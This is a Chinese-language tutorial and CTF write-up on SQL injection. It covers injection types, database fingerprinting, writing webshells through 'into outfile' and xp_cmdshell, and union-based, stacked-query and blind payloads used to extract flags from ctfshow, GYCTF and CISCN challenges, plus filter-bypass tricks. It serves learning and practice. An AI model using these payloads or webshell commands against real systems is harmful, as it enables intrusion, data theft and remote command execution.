Re-ctfshow-从零开始的SQL注入
八股文
原理
在开发过程中构造的方法、函数对输入数据过滤不严,从而造成预期之外的返回结果,此时攻击者利用此漏洞来拼接执行恶意SQL语句,从而达到攻击的目的。
注入类型
参数类型划分: 字符型、数字型、搜索型注入
注入方法划分: 基于报错的注入、基于布尔盲注、基于时间盲注、联合查询、堆叠注入、内敛查询注入、宽字节注入
提交方式划分: GET注入、POST注入、COOKIE注入、HTTP头注入
如何判断不同的数据库
- 通过对主机端口进行扫描,判断端口开放的情况大概判断出类型
Oracle: 1521 SQL Server: 1433 MySQL: 3306 PostgreSql: 5432
- 通过注入不同函数来判断数据库类型
数据库 | 特殊函数 |
---|---|
mysql | @@version,version都可执行 |
mssql | substring可执行 |
oracle | substr |
- 根据注释符号来判断
数据库 | 注释符 |
---|---|
mysql | #, --(后跟空格), /* */ |
Access | null, %00 |
oracle | –(不跟空格), 不支持;子句查询 |
MSSQL | –(不跟空格) |
mysql5.0以上以及5.0以下有什么区别
5.0以下没有information.schema库,只能暴力跑表
Mysql @ 与 @@的区别
一个@是用户自定义变量
两个@是系统变量
Mysql注入常用函数
1 | database() 返回当前数据库名 |
sql注入写shell
条件
当前数据库用户有dba权限, 需要有网站的绝对路径且有可写目录, mysql的secure_file_priv
配置为空
用法:
mysql:
1 | union select 1,2,'shell' into outfile "网站绝对路径\shell" # |
sqlserver:
1 | id=1';EXEC master..xp_cmdshell 'echo "shell内容" > 绝对路径\shell.asp' -- |
各种注入例题
web2 最基础的字符型\post型注入
[ctf.show](https://ctf.show/challenges#web2-7)
打开后是一个登录界面
这里我已经尝试过万能密码返回的登录成功,即存在sql注入且目前并没有对基本的函数进行过滤
1 | 用户名: admin' or 1=1# ' |
在数据库中就是
判断有多少个字段这里返回了多少个字段值
像这样,里边有username,passwd,flag三个字段,当sql语句如 select passwd,flag from demo where username =xxxx
的时候,数据库会返回两个字段,此时我们order by 1 或者order by 2
都不会出错,因为是按照passwd和flag来排序的,但是到3之后就会出错
当order by 4的时候,并没有返回值,证明只存在三个返回字段
查看展示字段
这里union select 的1,2,3;类比本地mysql,就是与username, passwd合并在一起,如果前段展示的是username,这里就会把1显示出来,如果是passwd则会展示2.如下图
所以说2这里可以回显数据库中其他数据
注入
1 | username=1' or 1=1 union select 1,database(),3#&password=213 显示当前数据库 |
拿到数据库后拿表
1 | 1' or 1=1 union select 1,table_name,3 from information_schema.tables where table_schema= 'web2'#&password=213 |
information_schema下的table表
存的是数据库所有表的信息,它从属的库就在table_schema字段中
这里把从属于web2数据库的表flag,user返回了接下来查表下边的列名
1 | 1' or 1=1 union select 1,column_name,3 from information_schema.columns where table_name='flag'#&password=111 |
这一句话就跟上边查表名差不多了,information_schema下的columns
表存的有列的信息
可以看到,flag表下有一个flag列,这里把列中的数据打印出来即可
1 | 1' or 1=1 union select 1,flag,3 from flag#&password=111 |
web3 web7
只是过滤了空格字符,这里把绕过技巧放在最后单独列出来
[GYCTF2020]Blacklist
打开如图, 测试1’ or 1=1#
发现过滤如下
return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);
把操作符过滤掉了
构造payload1';show databases;
1;show tables;
1'; HANDLER FlagHere OPEN; HANDLER FlagHere READ first;#
[CISCN2019 华北赛区 Day2 Web1]Hack World
一个盲注绕过
输入0会返回
Error Occured When Fetch Result.
输入1会返回
Hello, glzjin wants a girlfriend.
输入0^1则返回上边的hello 题目提示了flag在flag表的flag字段里
以此来逐字判断flag, 因为过滤了空格,用括号来代替构造payload
0^(ascii(substr((select(flag)from(flag))," + str(i) +",1))>"+str(mid)+")"
这里str(i)是判断第i位,substr(str,开始的位数1开始, 截取的位数)
完整payload如下:
1 | import requests |
即可跑出flag
绕过技巧
空格被过滤
- /**/绕过
- %a0代替